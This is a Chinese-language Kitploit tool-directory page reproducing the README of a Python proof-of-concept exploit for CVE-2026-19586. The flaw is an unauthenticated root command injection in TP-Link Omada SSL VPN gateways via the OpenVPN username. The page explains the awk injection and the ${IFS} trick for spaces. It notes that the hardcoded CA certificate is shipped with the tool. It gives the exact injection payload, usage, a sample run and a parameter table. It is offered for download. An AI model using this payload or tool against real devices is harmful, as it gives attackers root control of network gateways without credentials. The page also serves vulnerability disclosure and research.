Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-19586 — Python PoC,利用 CVE-2026-19586,即 TP-Link Omada SSL VPN 中的未认证命令注入漏洞,可通过 OpenVPN 用户名注入以 root 身份执行任意命令。 | Kitploit
工具/GitHubGitHub/mattgsys/cve-2026-19586
嵌入式系统安全物联网安全漏洞分析漏洞利用网络安全密码学渗透测试命令与控制远程访问工具
GitHubmattgsys/cve-2026-19586

CVE-2026-19586

Python PoC,利用 CVE-2026-19586,即 TP-Link Omada SSL VPN 中的未认证命令注入漏洞,可通过 OpenVPN 用户名注入以 root 身份执行任意命令。

11个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享
查看仓库
网站

CVE-2026-19586 (PoC)

TP-Link Omada SSL VPN 未认证 RCE (CVE-2026-19586)

概述

TP-Link Omada 网关固件 SSL VPN 认证路径中存在命令注入漏洞 (CWE-78),允许未认证攻击者以 root 身份执行任意命令。当基于 OpenVPN 的 SSL VPN 服务器启用时,OpenVPN 会将连接客户端提交的用户名传递给 /usr/sbin/checkpsw.sh,该脚本绑定到 auth-user-pass-verify 指令。该脚本将用户名未加引号地拼接到 awk 程序中,因此包含双引号的用户名会闭合其被粘贴进的 awk 字符串字面量,剩余部分则被解析为 awk 源代码。

awk 的 BEGIN 块在读取输入的第一行之前运行一次,因此注入的 system() 调用会在提交的密码与任何内容比较之前以 root 身份执行。

该服务器不需要客户端证书,也不携带 tls-auth 或 tls-crypt 密钥,其 CA 证书硬编码在固件镜像中。本仓库中的 ca.crt 就是该证书,并且在所有运行受影响固件的设备上完全相同,因此任何能够访问 VPN 端口的攻击者都可以完成 TLS 握手并在没有凭据、没有对设备先前访问权限的情况下触发注入。

用户名不能包含字面空格,因为 shell 会在 awk 看到之前将未加引号的展开拆分为单独的参数。请使用 ${IFS} 代替空格,由 system() 调用的 shell 会将其展开回空格。OpenVPN 将用户名限制为 128 字节;payload 脚手架占用其中 22 字节,剩余 106 字节用于命令。

本概念验证 (PoC) 已针对 TP-Link Omada ER7212PC v2(固件 6.1.0.19)进行测试。该易受攻击的脚本在 Omada 网关产品线中共享;其他型号或固件版本上的路径、行号和行为可能有所不同。

警告

本 PoC 会投递一个在目标设备上以 root 身份执行的用户名 payload。此问题已报告给 TP-Link,并已在公告中列出的固件版本中修复;请仅在您拥有或明确授权测试的硬件上运行此程序。

用法

root@kitploit:~
$ sudo python3 cve-2026-19586.py <target> -c '<command>'

需要 openvpn 客户端,并且必须以 root 身份运行,因为它需要 CAP_NET_ADMIN 来创建 tun 设备。这是本地 OpenVPN 客户端的要求,而非目标设备的要求。

示例运行:

root@kitploit:~
$ sudo python3 cve-2026-19586.py 10.0.0.100 -c 'id>/tmp/proof'

TP-Link Omada SSL VPN Unauthenticated RCE (CVE-2026-19586) - OpenVPN Username Injection
  Target      : 10.0.0.100:1194/udp
  CA cert     : ca.crt
  Command     : id>/tmp/proof
  Username    : x";BEGIN{system("id>/tmp/proof")};#

[*] Running: openvpn --client --dev tun --proto udp --remote 10.0.0.100 1194 --resolv-retry 1 --nobind --ca ca.crt --remote-cert-tls server --cipher AES-256-CBC --data-ciphers-fallback AES-256-CBC --reneg-sec 0 --auth-user-pass /tmp/ovpn_creds_m0ycjowy.txt --auth-nocache --verb 3

[openvpn client output]

该命令在认证完成之前就在设备上运行,因此 OpenVPN 客户端本身不会连接。认证尝试失败并且客户端退出,这是预期行为。

链接

  • 完整分析:https://mattg.systems/posts/cve-2026-19586/
  • CVE 记录:https://www.cve.org/cverecord?id=CVE-2026-19586
  • TP-Link 安全公告:https://www.tp-link.com/us/support/faq/5256/
下载工具
参数描述
target目标设备 IP 或主机名
-c, --command在目标上以 root 身份运行的命令。使用 ${IFS} 代替空格
-p, --portSSL VPN UDP 端口(默认:1194)
--ca从固件中提取的 CA 证书(默认:ca.crt)